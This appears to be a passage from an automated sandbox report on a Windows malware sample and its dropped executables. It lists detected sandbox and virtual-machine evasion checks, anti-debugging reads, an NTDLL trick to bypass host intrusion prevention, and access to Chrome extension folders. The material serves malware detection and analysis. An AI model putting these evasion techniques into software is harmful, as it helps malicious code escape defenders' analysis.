Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match	File source: Process Memory Space: B096.exe PID: 6404, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DF3A.exe PID: 5464, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: Md0q201V1D.exe, 00000003.00000002.338184490.00000000006AB000.00000004.00000020.sdmp, 21.exe, 00000013.00000002.400887733.0000000001F60000.00000004.00000001.sdmp, CBF0.exe, 0000001D.00000002.454053510.000000000323E000.00000004.00000020.sdmp	Binary or memory string: ASWHOOK
Source: B096.exe, 00000018.00000003.442159115.00000000065DB000.00000004.00000001.sdmp	Binary or memory string: KERNEL32.DLL/WINE_GET_UNIX_FILE_NAMEQEMU
Source: B096.exe, 00000018.00000003.442159115.00000000065DB000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLLUSER

Checks if the current machine is a virtual machine (disk enumeration)

Show sources

Source: C:\Users\user\Desktop\Md0q201V1D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\Md0q201V1D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\Md0q201V1D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\Md0q201V1D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\Md0q201V1D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\Md0q201V1D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\21.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\21.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\21.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\21.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\21.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\21.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gbhudtb	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gbhudtb	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gbhudtb	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gbhudtb	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gbhudtb	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gbhudtb	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EBBE.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\EBBE.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\EBBE.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\EBBE.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\EBBE.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\EBBE.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Renames NTDLL to bypass HIPS

Show sources

Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	File opened: C:\Windows\SysWOW64\ntdll.dll			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	File opened: C:\Windows\SysWOW64\ntdll.dll			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\B096.exe TID: 4200	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C066.exe TID: 7772	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\explorer.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\B096.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\explorer.exe

Window / User API: threadDelayed 571

Jump to behavior

Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\F11E.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\F1AC.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\CD17.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C295.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C8FE.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DEDC.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\D8D0.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\E64F.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\FD36.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\CAC5.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\CBF0.exe

Code function: 29_2_6B576B90 rdtsc

29_2_6B576B90

Source: C:\Users\user\AppData\Local\Temp\B096.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\C066.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\
Source: C:\Users\user\AppData\Local\Temp\C066.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\
Source: C:\Users\user\AppData\Local\Temp\C066.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\
Source: C:\Users\user\AppData\Local\Temp\C066.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\
Source: C:\Users\user\AppData\Local\Temp\C066.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\
Source: C:\Users\user\AppData\Local\Temp\C066.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\

Source: B096.exe, 00000018.00000003.442159115.00000000065DB000.00000004.00000001.sdmp	Binary or memory string: !noValueButYesKeySC:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: B096.exe, 00000018.00000003.442159115.00000000065DB000.00000004.00000001.sdmp	Binary or memory string: VMWAREESOFTWARE\VMware, Inc.\VMware Tools
Source: explorer.exe, 0000000A.00000000.316876167.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: B096.exe, 00000018.00000003.442159115.00000000065DB000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: B096.exe, 00000018.00000003.442159115.00000000065DB000.00000004.00000001.sdmp	Binary or memory string: VMwareVBoxARun using valid operating system
Source: explorer.exe, 0000000A.00000000.302532259.0000000008778000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000}
Source: explorer.exe, 0000000A.00000000.316876167.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}&
Source: explorer.exe, 0000000A.00000000.313810592.00000000067C2000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000A.00000000.333031309.000000000EF11000.00000004.00000001.sdmp	Binary or memory string: STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&
Source: explorer.exe, 0000000A.00000000.313810592.00000000067C2000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000m32)
Source: B096.exe, 00000018.00000003.442159115.00000000065DB000.00000004.00000001.sdmp	Binary or memory string: kernel32.dll/wine_get_unix_file_nameQEMU
Source: B096.exe, 00000018.00000003.442159115.00000000065DB000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: B096.exe, 00000018.00000003.442159115.00000000065DB000.00000004.00000001.sdmp	Binary or memory string: InstallPathKC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\OC:\WINDOWS\system32\drivers\vmmouse.sysMC:\WINDOWS\system32\drivers\vmhgfs.sys
Source: explorer.exe, 0000000A.00000000.316876167.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000

Source: C:\Users\user\Desktop\Md0q201V1D.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Md0q201V1D.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging:

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Show sources

Source: C:\Users\user\Desktop\Md0q201V1D.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\21.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gbhudtb	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	System information queried: CodeIntegrityInformation	Jump to behavior

Source: C:\Users\user\Desktop\Md0q201V1D.exe

0_2_00426B90

Source: C:\Users\user\AppData\Roaming\gbhudtb	Code function: 14_2_02BE0042 push dword ptr fs:[00000030h]	14_2_02BE0042
Source: C:\Users\user\AppData\Local\Temp\21.exe	Code function: 16_2_02D4D529 push dword ptr fs:[00000030h]	16_2_02D4D529
Source: C:\Users\user\AppData\Roaming\gbhudtb	Code function: 23_2_02CB0042 push dword ptr fs:[00000030h]	23_2_02CB0042
Source: C:\Users\user\AppData\Roaming\gbhudtb	Code function: 23_2_02EB2B61 push dword ptr fs:[00000030h]	23_2_02EB2B61
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B573B5A mov eax, dword ptr fs:[00000030h]	29_2_6B573B5A
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B573B5A mov eax, dword ptr fs:[00000030h]	29_2_6B573B5A
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B573B5A mov eax, dword ptr fs:[00000030h]	29_2_6B573B5A
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B573B5A mov eax, dword ptr fs:[00000030h]	29_2_6B573B5A
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54F340 mov eax, dword ptr fs:[00000030h]	29_2_6B54F340
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54DB40 mov eax, dword ptr fs:[00000030h]	29_2_6B54DB40
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B573B7A mov eax, dword ptr fs:[00000030h]	29_2_6B573B7A
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B573B7A mov eax, dword ptr fs:[00000030h]	29_2_6B573B7A
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D6365 mov eax, dword ptr fs:[00000030h]	29_2_6B5D6365
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D6365 mov eax, dword ptr fs:[00000030h]	29_2_6B5D6365
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D6365 mov eax, dword ptr fs:[00000030h]	29_2_6B5D6365
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B618B58 mov eax, dword ptr fs:[00000030h]	29_2_6B618B58
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A309 mov eax, dword ptr fs:[00000030h]	29_2_6B56A309
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A309 mov eax, dword ptr fs:[00000030h]	29_2_6B56A309
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A309 mov eax, dword ptr fs:[00000030h]	29_2_6B56A309
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A309 mov eax, dword ptr fs:[00000030h]	29_2_6B56A309
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A309 mov eax, dword ptr fs:[00000030h]	29_2_6B56A309
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A309 mov eax, dword ptr fs:[00000030h]	29_2_6B56A309
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A309 mov eax, dword ptr fs:[00000030h]	29_2_6B56A309
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A309 mov eax, dword ptr fs:[00000030h]	29_2_6B56A309
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A309 mov eax, dword ptr fs:[00000030h]	29_2_6B56A309
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A309 mov eax, dword ptr fs:[00000030h]	29_2_6B56A309
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A309 mov eax, dword ptr fs:[00000030h]	29_2_6B56A309
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A309 mov eax, dword ptr fs:[00000030h]	29_2_6B56A309
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A309 mov eax, dword ptr fs:[00000030h]	29_2_6B56A309
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A309 mov eax, dword ptr fs:[00000030h]	29_2_6B56A309
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A309 mov eax, dword ptr fs:[00000030h]	29_2_6B56A309
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A309 mov eax, dword ptr fs:[00000030h]	29_2_6B56A309
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A309 mov eax, dword ptr fs:[00000030h]	29_2_6B56A309
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A309 mov eax, dword ptr fs:[00000030h]	29_2_6B56A309
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A309 mov eax, dword ptr fs:[00000030h]	29_2_6B56A309
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A309 mov eax, dword ptr fs:[00000030h]	29_2_6B56A309
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A309 mov eax, dword ptr fs:[00000030h]	29_2_6B56A309
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B60131B mov eax, dword ptr fs:[00000030h]	29_2_6B60131B
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D4320 mov eax, dword ptr fs:[00000030h]	29_2_6B5D4320
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5C53CA mov eax, dword ptr fs:[00000030h]	29_2_6B5C53CA
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5C53CA mov eax, dword ptr fs:[00000030h]	29_2_6B5C53CA
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5423F6 mov eax, dword ptr fs:[00000030h]	29_2_6B5423F6
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5F23E3 mov ecx, dword ptr fs:[00000030h]	29_2_6B5F23E3
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5F23E3 mov ecx, dword ptr fs:[00000030h]	29_2_6B5F23E3
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5F23E3 mov eax, dword ptr fs:[00000030h]	29_2_6B5F23E3
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B541BE9 mov eax, dword ptr fs:[00000030h]	29_2_6B541BE9
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56DBE9 mov eax, dword ptr fs:[00000030h]	29_2_6B56DBE9
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B544B94 mov edi, dword ptr fs:[00000030h]	29_2_6B544B94
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B601BA8 mov eax, dword ptr fs:[00000030h]	29_2_6B601BA8
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5EEB8A mov ecx, dword ptr fs:[00000030h]	29_2_6B5EEB8A
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5EEB8A mov eax, dword ptr fs:[00000030h]	29_2_6B5EEB8A
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5EEB8A mov eax, dword ptr fs:[00000030h]	29_2_6B5EEB8A
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5EEB8A mov eax, dword ptr fs:[00000030h]	29_2_6B5EEB8A
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B618BB6 mov eax, dword ptr fs:[00000030h]	29_2_6B618BB6
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B619BBE mov eax, dword ptr fs:[00000030h]	29_2_6B619BBE
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5FD380 mov ecx, dword ptr fs:[00000030h]	29_2_6B5FD380
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B60138A mov eax, dword ptr fs:[00000030h]	29_2_6B60138A
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B574BAD mov eax, dword ptr fs:[00000030h]	29_2_6B574BAD
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B574BAD mov eax, dword ptr fs:[00000030h]	29_2_6B574BAD
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B574BAD mov eax, dword ptr fs:[00000030h]	29_2_6B574BAD
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B618A62 mov eax, dword ptr fs:[00000030h]	29_2_6B618A62
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D4257 mov eax, dword ptr fs:[00000030h]	29_2_6B5D4257
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B542240 mov ecx, dword ptr fs:[00000030h]	29_2_6B542240
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B542240 mov eax, dword ptr fs:[00000030h]	29_2_6B542240
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B549240 mov eax, dword ptr fs:[00000030h]	29_2_6B549240
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B549240 mov eax, dword ptr fs:[00000030h]	29_2_6B549240
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B549240 mov eax, dword ptr fs:[00000030h]	29_2_6B549240
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B549240 mov eax, dword ptr fs:[00000030h]	29_2_6B549240
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D4248 mov eax, dword ptr fs:[00000030h]	29_2_6B5D4248
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B58927A mov eax, dword ptr fs:[00000030h]	29_2_6B58927A
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5FB260 mov eax, dword ptr fs:[00000030h]	29_2_6B5FB260
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5FB260 mov eax, dword ptr fs:[00000030h]	29_2_6B5FB260
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B545210 mov eax, dword ptr fs:[00000030h]	29_2_6B545210
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B545210 mov ecx, dword ptr fs:[00000030h]	29_2_6B545210
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B545210 mov eax, dword ptr fs:[00000030h]	29_2_6B545210
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B545210 mov eax, dword ptr fs:[00000030h]	29_2_6B545210
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B563A1C mov eax, dword ptr fs:[00000030h]	29_2_6B563A1C
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B558A0A mov eax, dword ptr fs:[00000030h]	29_2_6B558A0A
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B548239 mov eax, dword ptr fs:[00000030h]	29_2_6B548239
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B548239 mov eax, dword ptr fs:[00000030h]	29_2_6B548239
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B548239 mov eax, dword ptr fs:[00000030h]	29_2_6B548239
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B544A20 mov eax, dword ptr fs:[00000030h]	29_2_6B544A20
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B544A20 mov eax, dword ptr fs:[00000030h]	29_2_6B544A20
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5CEA20 mov eax, dword ptr fs:[00000030h]	29_2_6B5CEA20
